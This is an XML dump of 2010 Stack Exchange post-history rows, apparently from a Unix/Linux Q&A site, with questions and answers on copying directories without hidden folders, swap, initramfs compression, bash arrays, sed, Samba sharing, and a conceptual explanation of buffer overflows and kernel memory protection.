  <row Id="4556" PostHistoryTypeId="1" PostId="2213" RevisionGUID="770feda8-50c4-4bf5-8659-4eb6a110a6e5" CreationDate="2010-09-18T18:21:58.137" UserId="317" Text="copy recursively except hidden directory" />
  <row Id="4557" PostHistoryTypeId="3" PostId="2213" RevisionGUID="770feda8-50c4-4bf5-8659-4eb6a110a6e5" CreationDate="2010-09-18T18:21:58.137" UserId="317" Text="élinuxàécommandölineàécopyà" />
  <row Id="4558" PostHistoryTypeId="6" PostId="2207" RevisionGUID="8c3b87ef-33ee-4c0a-82de-9385dba6b456" CreationDate="2010-09-18T18:31:22.957" UserId="29" Comment="tagging linux as this would depend on kernel implementation" Text="élinuxàéswappingà" />
  <row Id="4559" PostHistoryTypeId="2" PostId="2214" RevisionGUID="26509784-df8f-4fcd-83c6-abde21ea0dad" CreationDate="2010-09-18T18:36:59.900" UserId="1131" Text="You could just copy everything with&#xD;&#xA;&#xD;&#xA;    cp -rf &#xD;&#xA;&#xD;&#xA;and then delete hidden directories at the destination with&#xD;&#xA;&#xD;&#xA;    find -type d -name '.*' -and -not -name '.' -print0 | xargs -0 rm -rf&#xD;&#xA;&#xD;&#xA;Alternatively, if you have some advanced tar (e.g. GNU tar), you could try to use tar to exclude some patterns. But I am afraid that is not possible to only exclude hidden directories, but include hidden files.&#xD;&#xA;&#xD;&#xA;For example something like this:&#xD;&#xA;&#xD;&#xA;    tar --exclude=PATTERN -f - -c * | tar -C destination -f - -x&#xD;&#xA;" />
  <row Id="4560" PostHistoryTypeId="2" PostId="2215" RevisionGUID="f8893af9-e187-4994-9160-3188c35d2616" CreationDate="2010-09-18T18:39:03.257" UserId="29" Text="I've never seen anyone say &quot;minus&quot; outside of a *math* scenario (to mean subtract), &quot;dash&quot; is appropriate and will be more common, this isn't a Unix thing, this was just this one person. We do have other lingo thougg, e.g. `#!` is pronounced &quot;ShaBang&quot;." />
  <row Id="4561" PostHistoryTypeId="5" PostId="2214" RevisionGUID="84365e02-286f-40cb-a8e9-6bca31bd8e91" CreationDate="2010-09-18T18:46:37.190" UserId="1131" Comment="vcs" Text="You could just copy everything with&#xD;&#xA;&#xD;&#xA;    cp -rf &#xD;&#xA;&#xD;&#xA;and then delete hidden directories at the destination with&#xD;&#xA;&#xD;&#xA;    find -type d -name '.*' -and -not -name '.' -print0 | xargs -0 rm -rf&#xD;&#xA;&#xD;&#xA;Alternatively, if you have some advanced tar (e.g. GNU tar), you could try to use tar to exclude some patterns. But I am afraid that is not possible to only exclude hidden directories, but include hidden files.&#xD;&#xA;&#xD;&#xA;For example something like this:&#xD;&#xA;&#xD;&#xA;    tar --exclude=PATTERN -f - -c * | tar -C destination -f - -x&#xD;&#xA;&#xD;&#xA;Btw, GNU tar has a zoo of exclude style options. My favourite is&#xD;&#xA;&#xD;&#xA;    --exclude-vcs" />
  <row Id="4562" PostHistoryTypeId="6" PostId="2207" RevisionGUID="7d6382ef-2bde-49a9-9402-20a4e7526957" CreationDate="2010-09-18T18:50:03.903" UserId="29" Comment="swap tag makes more sense" Text="élinuxàéswapà" />
  <row Id="4563" PostHistoryTypeId="6" PostId="1367" RevisionGUID="b6558c66-bec5-4552-8cfd-0ba946f7fff7" CreationDate="2010-09-18T18:50:41.257" UserId="29" Comment="swap tag makes more sense" Text="élinuxàéswapà" />
  <row Id="4564" PostHistoryTypeId="6" PostId="489" RevisionGUID="b5b62099-59fd-4dea-9661-857d7777507c" CreationDate="2010-09-18T18:51:34.310" UserId="29" Comment="swap tag makes more sense" Text="ékernelàéswapàécacheàéalgorithmsà" />
  <row Id="4565" PostHistoryTypeId="6" PostId="477" RevisionGUID="ca2d6194-bee7-4b27-b440-684e9da8be33" CreationDate="2010-09-18T18:52:19.430" UserId="29" Comment="swap tag makes more sense" Text="élinuxàékernelàésettingsàéswapà" />
  <row Id="4566" PostHistoryTypeId="6" PostId="11" RevisionGUID="7e817885-bc08-49dd-b5f2-700bd45352f6" CreationDate="2010-09-18T18:53:00.870" UserId="29" Comment="swap tag makes more sense" Text="élinuxàékernelàéperformanceàéswapàédesktopà" />
  <row Id="4567" PostHistoryTypeId="2" PostId="2216" RevisionGUID="39fbb8aa-5fa0-4999-86aa-6d191f59411c" CreationDate="2010-09-18T19:04:49.223" UserId="29" Text="From the [Ubuntu Swap Faq][1]:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Swap space is the area on a hard disk which is part of the Virtual Memory of your machine, which is a combination of accessible physical memory (RAM) and the swap space. Swap space temporarily holds memory pages that are inactive. Swap space is used when your system decides that it needs physical memory for active processes and there is insufficient unused physical memory available. If the system happens to need more memory resources or space, inactive pages in physical memory are then moved to the swap space therefore freeing up that physical memory for other uses. Note that the access time for swap is slower therefore do not consider it to be a complete replacement for the physical memory. Swap space can be a dedicated swap partition (recommended), a swap file, or a combination of swap partitions and swap files.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/SwapFaq" />
  <row Id="4568" PostHistoryTypeId="2" PostId="2217" RevisionGUID="d41e3fbb-8088-4c64-832a-566152d50399" CreationDate="2010-09-18T19:04:49.223" UserId="29" Text="Swap space is the area on a hard disk which is part of the Virtual Memory of your machine, which is a combination of accessible physical memory (RAM) and the swap space. Swap space temporarily holds memory pages that are inactive. Swap space is used when your system decides that it needs physical memory for active processes and there is insufficient unused physical memory available. If the system happens to need more memory resources or space, inactive pages in physical memory are then moved to the swap space therefore freeing up that physical memory for other uses. Note that the access time for swap is slower therefore do not consider it to be a complete replacement for the physical memory. Swap space can be a dedicated swap partition (recommended), a swap file, or a combination of swap partitions and swap files." />
  <row Id="4569" PostHistoryTypeId="2" PostId="2218" RevisionGUID="66083d04-653b-4e3a-bb9c-f94a5b861b43" CreationDate="2010-09-18T19:20:12.433" UserId="29" Text="alternatively to `cp` you could use `rsync` with an `--exclude=PATTERN`." />
  <row Id="4570" PostHistoryTypeId="2" PostId="2219" RevisionGUID="0fcb3ef0-93b1-4f15-8123-5e45ebbd4941" CreationDate="2010-09-18T19:26:14.570" UserId="1030" Text="I just learnt today in a Distributed Systems class that there is an address space allocated for every user by the kernel, and if a user wants to get the su privilege, he needs to shift to the kernel address space. &#xD;&#xA;&#xD;&#xA;My question: is this the basis for buffer overflow attacks, where a user if exceeds his address space, may be able to access the kernel address space or just overwrite it?" />
  <row Id="4571" PostHistoryTypeId="1" PostId="2219" RevisionGUID="0fcb3ef0-93b1-4f15-8123-5e45ebbd4941" CreationDate="2010-09-18T19:26:14.570" UserId="1030" Text="Buffer overflow attacks" />
  <row Id="4572" PostHistoryTypeId="3" PostId="2219" RevisionGUID="0fcb3ef0-93b1-4f15-8123-5e45ebbd4941" CreationDate="2010-09-18T19:26:14.570" UserId="1030" Text="ékernelà" />
  <row Id="4573" PostHistoryTypeId="2" PostId="2220" RevisionGUID="cbb612d5-ebc9-4c70-ad9a-086ceca56701" CreationDate="2010-09-18T19:32:23.010" UserDisplayName="german" Text="You can use [yumex][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.yum-extender.org/blog/ &quot;yumex&quot;" />
  <row Id="4574" PostHistoryTypeId="5" PostId="2215" RevisionGUID="ee04a621-f0f1-4a40-b2fa-f505721c4958" CreationDate="2010-09-18T19:36:20.620" UserId="29" Comment="add link to jargon, ascii" Text="I've never seen anyone say &quot;minus&quot; outside of a *math* scenario (to mean subtract), &quot;dash&quot; is appropriate and will be more common, this isn't a Unix thing, this was just this one person. We do have other lingo thougg, e.g. `#!` is pronounced &quot;ShaBang&quot;.&#xD;&#xA;&#xD;&#xA;[Here's a link to the current Jargon File for ASCII and how they're said][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/jargon/html/A/ASCII.html" />
  <row Id="4575" PostHistoryTypeId="2" PostId="2221" RevisionGUID="afeb64cb-193f-4041-a8f4-1005ba51ab6f" CreationDate="2010-09-18T20:31:17.997" UserId="317" Text="does initrd image could be compressed by other method than gzip, such as lzma?" />
  <row Id="4576" PostHistoryTypeId="1" PostId="2221" RevisionGUID="afeb64cb-193f-4041-a8f4-1005ba51ab6f" CreationDate="2010-09-18T20:31:17.997" UserId="317" Text="initrd image compression other than gzip" />
  <row Id="4577" PostHistoryTypeId="3" PostId="2221" RevisionGUID="afeb64cb-193f-4041-a8f4-1005ba51ab6f" CreationDate="2010-09-18T20:31:17.997" UserId="317" Text="élinuxàécompressionàéinitrdàégzipà" />
  <row Id="4578" PostHistoryTypeId="2" PostId="2222" RevisionGUID="173c67cf-8c2e-4a56-9926-d158553c2b8f" CreationDate="2010-09-18T20:36:40.240" UserId="1389" Text="1) emacs lisp source code for .elc files?&#xD;&#xA;&#xD;&#xA;IE, cal-mayan.elc&#xD;&#xA;&#xD;&#xA;2) files in the /bin directory?&#xD;&#xA;&#xD;&#xA;IE, cat, split, and echo" />
  <row Id="4579" PostHistoryTypeId="1" PostId="2222" RevisionGUID="173c67cf-8c2e-4a56-9926-d158553c2b8f" CreationDate="2010-09-18T20:36:40.240" UserId="1389" Text="Where can I find sources for..." />
  <row Id="4580" PostHistoryTypeId="3" PostId="2222" RevisionGUID="173c67cf-8c2e-4a56-9926-d158553c2b8f" CreationDate="2010-09-18T20:36:40.240" UserId="1389" Text="ésourceà" />
  <row Id="4581" PostHistoryTypeId="5" PostId="2221" RevisionGUID="1b2c0d8f-8c97-4d03-90a8-a153a891174e" CreationDate="2010-09-18T20:37:36.720" UserId="29" Comment="fix grammar" Text="can the initrd image be compressed by a method other than gzip, such as lzma?" />
  <row Id="4582" PostHistoryTypeId="5" PostId="2222" RevisionGUID="24e3e0a5-c1ed-4e8d-95df-0f6426f64918" CreationDate="2010-09-18T20:40:53.357" UserId="29" Comment="change IE to e.g as e.g is more appropriate http://www.elearnenglishlanguage.com/difficulties/egie.html" Text="1) emacs lisp source code for .elc files?&#xD;&#xA;&#xD;&#xA;e.g., cal-mayan.elc&#xD;&#xA;&#xD;&#xA;2) files in the /bin directory?&#xD;&#xA;&#xD;&#xA;e.g., cat, split, and echo" />
  <row Id="4583" PostHistoryTypeId="6" PostId="1398" RevisionGUID="8d1d0cf6-c0f2-457f-904f-256ad793375b" CreationDate="2010-09-18T20:53:56.437" UserId="29" Comment="add tags which make sense" Text="éfreebsdàéfirewallà" />
  <row Id="4584" PostHistoryTypeId="5" PostId="2127" RevisionGUID="e7b05dd9-e7f1-43ea-8504-82450ed9741e" CreationDate="2010-09-18T20:56:35.233" UserId="29" Comment="just update link text" Text="This is a security thing, it's not actually taking long to realize it. 2 vulnerabilities this solves:&#xD;&#xA;&#xD;&#xA;1. this throttles login attempts, meaning someone can't pound the system as fast as it can go trying to crack it (1M attempts a sec? idk).&#xD;&#xA;&#xD;&#xA;2. If it did it as soon as it verified your credentials were incorrect, you can use the amount of time it takes for it to invalidate you help guess if part of your credentials are correct, dramatically reducing the guessing time.&#xD;&#xA;&#xD;&#xA;to prevent these 2 things the system just takes a certain amount of time to do it, I think you can configure the wait time with PAM ( [See Michaels answer][1] ).&#xD;&#xA;&#xD;&#xA;Security Engineering ( [2ed, amazon][2] | [1ed, free][3] ) gives a much better explanation of these problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2126/why-a-wrong-password-gives-a-big-delay/2128#2128&#xD;&#xA;  [2]: http://www.amazon.com/gp/product/0470068523?ie=UTF8&amp;tag=xenotsblog-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470068523&#xD;&#xA;  [3]: http://www.cl.cam.ac.uk/~rja14/book.html" />
  <row Id="4585" PostHistoryTypeId="2" PostId="2223" RevisionGUID="e0084f2e-ca8b-4c12-83da-3051d78c9637" CreationDate="2010-09-18T21:18:50.170" UserId="1484" Text="There are utilities for wiping memory, but it would be after the program in question had exited and freed up its memory.  I know of nothing that will specifically wipe the memory allocated by a particular program.&#xD;&#xA;&#xD;&#xA;Check out &quot;smem&quot; (among others) from the &quot;secure_delete&quot; suite at [thc.org](http://www.thc.org) for wiping free memory of a live system." />
  <row Id="4586" PostHistoryTypeId="2" PostId="2224" RevisionGUID="964c358b-26cb-4b33-b9c5-4936f8c51ff7" CreationDate="2010-09-18T21:38:31.733" UserId="1131" Text="It depends a bit on what distribution you use. On a debian style system you could do something like this:&#xD;&#xA;&#xD;&#xA;    $ dpkg -S `which cat`&#xD;&#xA;    coreutils: /bin/cat&#xD;&#xA;    $ apt-get source coreutils&#xD;&#xA;&#xD;&#xA;The last command will fetch the source archive and all the patches which were used to build the binary package that includes the cat command.&#xD;&#xA;&#xD;&#xA;Alternatively you could just google for it. Or use even google code search." />
  <row Id="4587" PostHistoryTypeId="2" PostId="2225" RevisionGUID="edf1a0d0-eddb-4d3c-b80b-949f6d7690bc" CreationDate="2010-09-18T21:50:04.740" UserId="305" Text="Yes. I use in-kernel initrd and it offers at least the following methods:&#xD;&#xA;&#xD;&#xA; - None (as it is compressed with kernel)&#xD;&#xA; - GZip&#xD;&#xA; - BZip&#xD;&#xA; - LZMA (possibly [zen][1]-only)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zen-kernel.org/" />
  <row Id="4588" PostHistoryTypeId="2" PostId="2226" RevisionGUID="0e445254-07bc-402c-bb2e-2692ed79c416" CreationDate="2010-09-18T21:53:42.083" UserId="305" Text="No. Kernel space is protected on most architectures by processor and, unless there is an error in operating system, the attempt to write there would result in termination of process.&#xD;&#xA;&#xD;&#xA;The buffer overflow attack (usually) overwrites the return address of function which breaks the control flow in hands of attacker." />
  <row Id="4589" PostHistoryTypeId="2" PostId="2227" RevisionGUID="5b6453cc-a30f-48bf-920a-a557d051dc7f" CreationDate="2010-09-18T21:54:05.030" UserId="317" Text="suppose I have the following initialization of bash array&#xD;&#xA;&#xD;&#xA;    my_array=(&#xD;&#xA;        &quot;/usr/bin&quot;&#xD;&#xA;        &quot;/usr/lib/*.so&quot;&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;if I do iteration using :&#xD;&#xA;    &#xD;&#xA;    for array_item in ${my_array[@]} &#xD;&#xA;    do &#xD;&#xA;        ... &#xD;&#xA;    done &#xD;&#xA;&#xD;&#xA;then the content of the `my_array` is expanded containing path to any files with .so extension in /usr/lib/ directories. but I just wanted the array contain two string which is `&quot;/usr/bin&quot;` and `&quot;/usr/lib/*.so&quot;`.&#xD;&#xA;&#xD;&#xA;how should I do that?" />
  <row Id="4590" PostHistoryTypeId="1" PostId="2227" RevisionGUID="5b6453cc-a30f-48bf-920a-a557d051dc7f" CreationDate="2010-09-18T21:54:05.030" UserId="317" Text="bash: array of string expanded to path?" />
  <row Id="4591" PostHistoryTypeId="3" PostId="2227" RevisionGUID="5b6453cc-a30f-48bf-920a-a557d051dc7f" CreationDate="2010-09-18T21:54:05.030" UserId="317" Text="ébashàéarrayàéstringà" />
  <row Id="4592" PostHistoryTypeId="2" PostId="2228" RevisionGUID="ab55dabf-5381-4c42-b831-786fc53b3c21" CreationDate="2010-09-18T22:01:23.787" UserId="305" Text="In addition to Gilles answer:&#xD;&#xA;&#xD;&#xA; - You may [lock page in-memory][1] to prevent swapping (unless you know what you are doing - like storing password - it is bad idea and it may affect performance of system)&#xD;&#xA; - You may override `free` function to sanatize memory by hand using `LD_LIBRARY_PRELOAD`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/2/mlock" />
  <row Id="4593" PostHistoryTypeId="5" PostId="2225" RevisionGUID="72b47dd2-c536-4da8-a55d-471c85d4d0fe" CreationDate="2010-09-18T22:05:56.430" UserId="305" Comment="added 134 characters in body" Text="Yes. I use in-kernel initrd and it offers at least the following methods:&#xD;&#xA;&#xD;&#xA; - None (as it is compressed with kernel)&#xD;&#xA; - GZip&#xD;&#xA; - BZip&#xD;&#xA; - LZMA (possibly [zen][1]-only)&#xD;&#xA;&#xD;&#xA;**EDIT**: You can use it on external file and with LZMA (at least [on ubuntu][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zen-kernel.org/&#xD;&#xA;  [2]: https://wiki.ubuntu.com/CustomizeLiveInitrd" />
  <row Id="4594" PostHistoryTypeId="2" PostId="2229" RevisionGUID="bc06e679-d546-453a-8cee-2c9b33bf689b" CreationDate="2010-09-18T22:09:48.280" UserId="305" Text="    for array_item in &quot;${my_array[@]}&quot;&#xD;&#xA;    do &#xD;&#xA;        ....&#xD;&#xA;    done" />
  <row Id="4595" PostHistoryTypeId="5" PostId="2229" RevisionGUID="82f6ef84-e09a-4178-a249-e9056721eee1" CreationDate="2010-09-18T22:20:06.813" UserId="305" Comment="added 103 characters in body" Text="    for array_item in &quot;${my_array[@]}&quot;&#xD;&#xA;    do &#xD;&#xA;        ...&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    for idx in $(seq ${#my_array})&#xD;&#xA;    do&#xD;&#xA;        array_item=&quot;${my_array[$idx]}&quot;&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="4596" PostHistoryTypeId="2" PostId="2230" RevisionGUID="6c40a830-3462-40bb-8ac7-c906c0a74516" CreationDate="2010-09-18T22:29:03.347" UserId="885" Text="Good options for copying a directory tree except for some files are:&#xD;&#xA;&#xD;&#xA;* **rsync**: this is basically cp plus a ton of exclusion possibilities.&#xD;&#xA;&#xD;&#xA;        rsync -a --exclude='.*' /source/ /destination&#xD;&#xA;&#xD;&#xA;* **pax**: it has some exclusion capabilities, and it's in POSIX so should be available everywhere (except that some Linux distributions don't include it in their default installation for some reason).&#xD;&#xA;&#xD;&#xA;        cd /source &amp;&amp; mkdir -p /destination &amp;&amp; \&#xD;&#xA;        pax -rw -pp -s '!.*/\..*!!'  . /destination&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4597" PostHistoryTypeId="2" PostId="2231" RevisionGUID="e9cebbc2-0062-4f35-90f5-61089333127f" CreationDate="2010-09-18T22:55:08.070" UserId="1885" Text="I have a small home network consisting of two computers. One is running Windows 7 and the other Ubuntu 10.04. Neither computer is permanently on.&#xD;&#xA;&#xD;&#xA;I am trying to set up file sharing between the two. Ideally the Windows files will be mounted whenever the Windows machine is on, and unmounted when it is not.&#xD;&#xA;&#xD;&#xA;Currently I have added an entry to /etc/fstab to mount the share. This appears to vaguely work. However, I have noticed that it takes considerably longer to login to the Ubuntu computer if the Windows computer is not turned on. It exhibits bizarre behaviours if the Windows machine is not turned on, including not being able to interact with the desktop.&#xD;&#xA;&#xD;&#xA;Is there a way to remove this delay, or should I set up the share in a different way?" />
  <row Id="4598" PostHistoryTypeId="1" PostId="2231" RevisionGUID="e9cebbc2-0062-4f35-90f5-61089333127f" CreationDate="2010-09-18T22:55:08.070" UserId="1885" Text="File sharing with Windows" />
  <row Id="4599" PostHistoryTypeId="3" PostId="2231" RevisionGUID="e9cebbc2-0062-4f35-90f5-61089333127f" CreationDate="2010-09-18T22:55:08.070" UserId="1885" Text="éubuntuàéwindowsàéfileösharingà" />
  <row Id="4600" PostHistoryTypeId="2" PostId="2232" RevisionGUID="e42cb884-be39-47aa-9885-8dbac23ca4d4" CreationDate="2010-09-18T22:57:43.103" UserId="1886" Text="I am mainly a Windows guy (Don't down vote me here!) and I typically say &quot;hyphen&quot;.&#xD;&#xA;&#xD;&#xA;I guess it is just your experience with the people you deal with and how they were brought up. Nothing specific about their computer background." />
  <row Id="4601" PostHistoryTypeId="2" PostId="2233" RevisionGUID="13ef1708-49be-413a-9612-409d24ca541e" CreationDate="2010-09-18T22:57:53.617" UserId="885" Text="A process cannot read or write or branch outside its memory. That means it can't access the memory of other processes, or unallocated memory, or kernel memory. So even if an attacker triggers a buffer overflow in a process and is able to execute arbitrary code in that process's context, that doesn't give the attacker kernel-level access.&#xD;&#xA;&#xD;&#xA;There is one way out: processes can make system calls. The [exact manner in which system calls are made](http://en.wikipedia.org/wiki/Kernel_%28computing%29#System_calls) depends on the OS and the processor type; in its simplest form, the processor has a “system call” instruction. which branches to a particular address where the kernel has installed the system call handling code.&#xD;&#xA;&#xD;&#xA;When the system call is performed, the processor changes the access permissions on memory. This way the kernel runs with elevated privileges, including the ability to read, write and branch to all memory, and the ability to access hardware devices. Again, the details of how the privilege elevation is performed depends highly on how the system call implemented on a particular platform; for example, the processor might keep two access control tables (one for user space and one for kernel space) and the system call instruction might switch between these two tables.&#xD;&#xA;&#xD;&#xA;The kernel code that handles system calls decodes the arguments passed the process (how the arguments is passed is again highly platform-dependent). It may happen that the system call does validate these arguments properly. For example, if the kernel expects an array argument and does not check that the whole array fits into the process's address space, that may lead to an ordinary process performing a buffer overflow attack against the kernel, and being able to execute kernel code of its choosing.&#xD;&#xA;&#xD;&#xA;For a remote attacker to gain kernel-level access generally requires exploiting two vulnerabilities, one in a networked process and one in the kernel. Occasionally there is a bug in the kernel network processing code that permits a one-step attack.&#xD;&#xA;" />
  <row Id="4602" PostHistoryTypeId="2" PostId="2234" RevisionGUID="2d00ba11-0138-4e04-8eff-4584652388c7" CreationDate="2010-09-18T23:02:26.010" UserId="305" Text="Isn't simpler to mount-as-needed? Most applications does not deal with appearing/disappearing mountpoints and mounting in Gnome/Ubuntu/... Windows Share is as easy as filling several fields in dialog box.&#xD;&#xA;" />
  <row Id="4603" PostHistoryTypeId="5" PostId="2221" RevisionGUID="3d7ec6e7-e73e-464b-8cc7-5ab5d0b1413f" CreationDate="2010-09-18T23:05:14.217" UserId="317" Comment="added 3 characters in body; edited title" Text="can the initramfs image be compressed by a method other than gzip, such as lzma?" />
  <row Id="4604" PostHistoryTypeId="4" PostId="2221" RevisionGUID="3d7ec6e7-e73e-464b-8cc7-5ab5d0b1413f" CreationDate="2010-09-18T23:05:14.217" UserId="317" Comment="added 3 characters in body; edited title" Text="initramfs image compression other than gzip" />
  <row Id="4605" PostHistoryTypeId="6" PostId="2231" RevisionGUID="3704baef-24c4-4ecd-b2b3-a04e2a67642a" CreationDate="2010-09-18T23:32:34.110" UserId="29" Comment="I'm sure this is being done via samba" Text="éubuntuàéwindowsàémountàéfileösharingàésambaà" />
  <row Id="4606" PostHistoryTypeId="2" PostId="2235" RevisionGUID="df28ddd7-5432-4be3-9ddf-76c19f6b812d" CreationDate="2010-09-19T00:12:16.883" UserId="1534" Text="A lot of people actually say &quot;*tack*.&quot; (I'm watching a Hak5 video right now, and the host keeps saying &quot;tack.&quot;)&#xD;&#xA;&#xD;&#xA;The other more common pronunciations are &quot;dash&quot; and &quot;hyphen.&quot;&#xD;&#xA;&#xD;&#xA;I have never heard a Unix *or* Linux guy say &quot;minus&quot; in a command-line context." />
  <row Id="4607" PostHistoryTypeId="5" PostId="2225" RevisionGUID="de088dbf-ef47-47c7-8b06-8eeb5b836e9c" CreationDate="2010-09-19T00:31:04.263" UserId="305" Comment="added 187 characters in body" Text="Yes. I use in-kernel initrd and it offers at least the following methods:&#xD;&#xA;&#xD;&#xA; - None (as it is compressed with kernel)&#xD;&#xA; - GZip&#xD;&#xA; - BZip&#xD;&#xA; - LZMA (possibly [zen][1]-only)&#xD;&#xA;&#xD;&#xA;**EDIT**: You can use it on external file and with LZMA (at least [on ubuntu][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT 2**: [Wikipedia][3] states that Linux kernel supports gzip, bzip and lzma (depending, of course, what algorithms are compiled in).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zen-kernel.org/&#xD;&#xA;  [2]: https://wiki.ubuntu.com/CustomizeLiveInitrd&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Initrd" />
  <row Id="4608" PostHistoryTypeId="2" PostId="2236" RevisionGUID="fb432d9b-e5b2-4002-b213-87f0a6050890" CreationDate="2010-09-19T01:17:41.520" UserId="250" Text="You can install Linux under a `chroot`ed environment (from your existing Ubuntu). I cannot find a DSL guide right now but this [Gentoo guide][1] may help.&#xD;&#xA;&#xD;&#xA;Adding the new install to the boot menu is as easy as running `update-grub` (there is a script that tries to probe your hard drive and adds things as it finds). If that does not work, manually adding a new entry to Grub2 is just `vim /etc/grub.d/40_custom` and `update-grub` again (this [Ubuntu guide][2] came up first from googling).&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/altinstall.xml#doc_chap5&#xD;&#xA;  [2]: https://wiki.ubuntu.com/Grub2" />
  <row Id="4609" PostHistoryTypeId="5" PostId="2222" RevisionGUID="aca373fb-e3aa-4801-9336-3c2aa881a5b7" CreationDate="2010-09-19T02:36:07.553" UserId="73" Comment="added 16 characters in body" Text="1. Emacs lisp source code for `.elc` files?&#xD;&#xA;&#xD;&#xA;  e.g. `cal-mayan.elc`&#xD;&#xA;&#xD;&#xA;2. Files in the `/bin` directory?&#xD;&#xA;&#xD;&#xA;  e.g. `cat`, `split`, and `echo`&#xD;&#xA;" />
  <row Id="4610" PostHistoryTypeId="5" PostId="2094" RevisionGUID="08f35fa4-9689-4ad4-848a-abb682ade274" CreationDate="2010-09-19T02:40:46.817" UserId="73" Comment="deleted 21 characters in body" Text="Does anyone know if there are any upcoming book releases for Mono/GTK#?  The only book I could find on Amazon with a decent rating is over 6 years old.&#xD;&#xA;" />
  <row Id="4611" PostHistoryTypeId="16" PostId="326" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-19T02:41:43.397" UserId="73" />
  <row Id="4612" PostHistoryTypeId="16" PostId="334" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-19T02:41:43.397" UserId="73" />
  <row Id="4613" PostHistoryTypeId="16" PostId="340" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-19T02:41:43.397" UserId="73" />
  <row Id="4614" PostHistoryTypeId="16" PostId="376" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-19T02:41:43.397" UserId="73" />
  <row Id="4615" PostHistoryTypeId="16" PostId="322" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-19T02:41:43.397" UserId="73" />
  <row Id="4616" PostHistoryTypeId="2" PostId="2237" RevisionGUID="3df4c080-ee1c-46c4-8625-d42fab6a94bb" CreationDate="2010-09-19T03:47:55.943" UserId="822" Text="I have a text file like this:&#xD;&#xA;&#xD;&#xA;    info  Some info here&#xD;&#xA;&#xD;&#xA;In which when I use cat -A display this:&#xD;&#xA;&#xD;&#xA;    info^I Some info here&#xD;&#xA;&#xD;&#xA;How do I edit this so I'll get something like this instead:&#xD;&#xA;&#xD;&#xA;    info&lt;space&gt;-&lt;space&gt;Some info here" />
  <row Id="4617" PostHistoryTypeId="1" PostId="2237" RevisionGUID="3df4c080-ee1c-46c4-8625-d42fab6a94bb" CreationDate="2010-09-19T03:47:55.943" UserId="822" Text="how to convert ^I character" />
  <row Id="4618" PostHistoryTypeId="3" PostId="2237" RevisionGUID="3df4c080-ee1c-46c4-8625-d42fab6a94bb" CreationDate="2010-09-19T03:47:55.943" UserId="822" Text="éshellà" />
  <row Id="4619" PostHistoryTypeId="12" PostId="2237" RevisionGUID="7d7aec49-4791-4ac7-baf6-233f4b125c71" CreationDate="2010-09-19T03:58:13.563" UserId="822" Text="[{&quot;Id&quot;:822,&quot;DisplayName&quot;:&quot;Coding District&quot;}]" />
  <row Id="4620" PostHistoryTypeId="13" PostId="2237" RevisionGUID="9fbedc43-be6a-4cc3-b975-73998436b90e" CreationDate="2010-09-19T03:58:16.310" UserId="822" Text="[{&quot;Id&quot;:822,&quot;DisplayName&quot;:&quot;Coding District&quot;}]" />
  <row Id="4621" PostHistoryTypeId="2" PostId="2238" RevisionGUID="9dd66daf-2fb9-4381-89be-3538782cf5b3" CreationDate="2010-09-19T03:58:39.523" UserId="382" Text="    sed 's/\t/ -/' inputfile&#xD;&#xA;&#xD;&#xA;if that pattern appears multiple times on a line, use the global option:&#xD;&#xA;&#xD;&#xA;    sed 's/\t/ -/g' inputfile&#xD;&#xA;&#xD;&#xA;if you want to restrict it to certain lines, for example that start with &quot;info&quot;:&#xD;&#xA;&#xD;&#xA;    sed '/^info/ s/\t/ -/' inputfile&#xD;&#xA;&#xD;&#xA;You can use the `-i` option to edit the file in place:&#xD;&#xA;&#xD;&#xA;    sed -i 's/\t/ -/' inputfile&#xD;&#xA;&#xD;&#xA;If you don't do that you can do this equivalent operation&#xD;&#xA;&#xD;&#xA;    sed 's/\t/ -/' inputfile &gt; outputfile &amp;&amp; mv outputfile inputfile&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4622" PostHistoryTypeId="2" PostId="2239" RevisionGUID="39b84668-159b-4559-9ec8-da618fe9074d" CreationDate="2010-09-19T05:23:27.130" UserId="1888" Text="Use `pgrep foo` instead of `ps aux | grep foo` if you want to find how many instances of foo are running and their pids:&#xD;&#xA;&#xD;&#xA;e.g. instead of `ps aux | grep firefox`, use `pgrep firefox`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4623" PostHistoryTypeId="16" PostId="2239" RevisionGUID="39b84668-159b-4559-9ec8-da618fe9074d" CreationDate="2010-09-19T05:23:27.130" UserId="-1" />
